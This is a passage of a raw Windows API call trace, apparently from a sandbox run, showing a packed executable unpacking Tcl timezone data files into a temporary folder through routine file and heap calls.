SetLastError (dwErrCode=0x2) [0042.595] GetLastError () returned 0x2 [0042.595] SetLastError (dwErrCode=0x2) [0042.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Minsk") returned 69 [0042.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Minsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\minsk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.597] GetFileType (hFile=0x10c) returned 0x1 [0042.597] htonl (hostlong=0x18080000) returned 0x818 [0042.597] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.597] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x818, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x818, lpOverlapped=0x0) returned 1 [0042.597] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.598] CloseHandle (hObject=0x10c) returned 1 [0042.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.598] htonl (hostlong=0x30000000) returned 0x30 [0042.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.598] GetFileType (hFile=0x10c) returned 0x1 [0042.598] htonl (hostlong=0x71545c00) returned 0x5c5471 [0042.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x610471, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.598] htonl (hostlong=0x4f070000) returned 0x74f [0042.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74f) returned 0x55e278 [0042.598] htonl (hostlong=0x4f070000) returned 0x74f [0042.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.598] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.598] htonl (hostlong=0xa7220000) returned 0x22a7 [0042.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22a7) returned 0x561090 [0042.598] htonl (hostlong=0x4f070000) returned 0x74f [0042.598] htonl (hostlong=0xa7220000) returned 0x22a7 [0042.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563340 [0042.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563340 | out: hHeap=0x530000) returned 1 [0042.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.598] CloseHandle (hObject=0x10c) returned 1 [0042.599] GetLastError () returned 0x0 [0042.599] SetLastError (dwErrCode=0x0) [0042.599] GetLastError () returned 0x0 [0042.599] SetLastError (dwErrCode=0x0) [0042.599] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.599] GetFileType (hFile=0x10c) returned 0x1 [0042.599] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.599] CloseHandle (hObject=0x10c) returned 1 [0042.599] GetLastError () returned 0x0 [0042.599] SetLastError (dwErrCode=0x0) [0042.599] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.599] GetFileType (hFile=0x10c) returned 0x1 [0042.599] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.600] CloseHandle (hObject=0x10c) returned 1 [0042.600] GetLastError () returned 0x0 [0042.600] SetLastError (dwErrCode=0x0) [0042.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.600] GetFileType (hFile=0x10c) returned 0x1 [0042.600] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.600] CloseHandle (hObject=0x10c) returned 1 [0042.600] GetLastError () returned 0x0 [0042.600] SetLastError (dwErrCode=0x0) [0042.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Monaco") returned 70 [0042.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Monaco" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\monaco"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.601] GetLastError () returned 0x2 [0042.601] SetLastError (dwErrCode=0x2) [0042.601] GetLastError () returned 0x2 [0042.601] SetLastError (dwErrCode=0x2) [0042.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Monaco", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Monaco", lpFilePart=0x0) returned 0x45 [0042.601] GetLastError () returned 0x2 [0042.601] SetLastError (dwErrCode=0x2) [0042.601] GetLastError () returned 0x2 [0042.601] SetLastError (dwErrCode=0x2) [0042.601] GetLastError () returned 0x2 [0042.601] SetLastError (dwErrCode=0x2) [0042.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Monaco") returned 70 [0042.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Monaco" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\monaco"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.601] GetFileType (hFile=0x10c) returned 0x1 [0042.601] htonl (hostlong=0xa7220000) returned 0x22a7 [0042.601] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.602] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.602] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2a7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x2a7, lpOverlapped=0x0) returned 1 [0042.602] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.602] CloseHandle (hObject=0x10c) returned 1 [0042.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.603] htonl (hostlong=0x30000000) returned 0x30 [0042.603] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.603] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.603] GetFileType (hFile=0x10c) returned 0x1 [0042.604] htonl (hostlong=0xc05b5c00) returned 0x5c5bc0 [0042.604] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x610bc0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.604] htonl (hostlong=0x73020000) returned 0x273 [0042.604] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x273) returned 0x550600 [0042.604] htonl (hostlong=0x73020000) returned 0x273 [0042.604] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.604] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.604] htonl (hostlong=0x2c090000) returned 0x92c [0042.605] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92c) returned 0x55e278 [0042.605] htonl (hostlong=0x73020000) returned 0x273 [0042.605] htonl (hostlong=0x2c090000) returned 0x92c [0042.605] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.605] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.605] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.605] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.605] CloseHandle (hObject=0x10c) returned 1 [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.605] GetFileType (hFile=0x10c) returned 0x1 [0042.605] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.605] CloseHandle (hObject=0x10c) returned 1 [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.606] GetFileType (hFile=0x10c) returned 0x1 [0042.606] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.606] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.606] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.606] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.606] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.606] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.606] CloseHandle (hObject=0x10c) returned 1 [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.639] GetFileType (hFile=0x10c) returned 0x1 [0042.639] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.639] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.639] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.639] CloseHandle (hObject=0x10c) returned 1 [0042.639] GetLastError () returned 0x0 [0042.639] SetLastError (dwErrCode=0x0) [0042.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Moscow") returned 70 [0042.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Moscow" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\moscow"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.639] GetLastError () returned 0x2 [0042.639] SetLastError (dwErrCode=0x2) [0042.639] GetLastError () returned 0x2 [0042.639] SetLastError (dwErrCode=0x2) [0042.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Moscow", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Moscow", lpFilePart=0x0) returned 0x45 [0042.639] GetLastError () returned 0x2 [0042.639] SetLastError (dwErrCode=0x2) [0042.640] GetLastError () returned 0x2 [0042.640] SetLastError (dwErrCode=0x2) [0042.640] GetLastError () returned 0x2 [0042.640] SetLastError (dwErrCode=0x2) [0042.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Moscow") returned 70 [0042.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Moscow" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\moscow"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.641] GetFileType (hFile=0x10c) returned 0x1 [0042.641] htonl (hostlong=0x2c090000) returned 0x92c [0042.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, 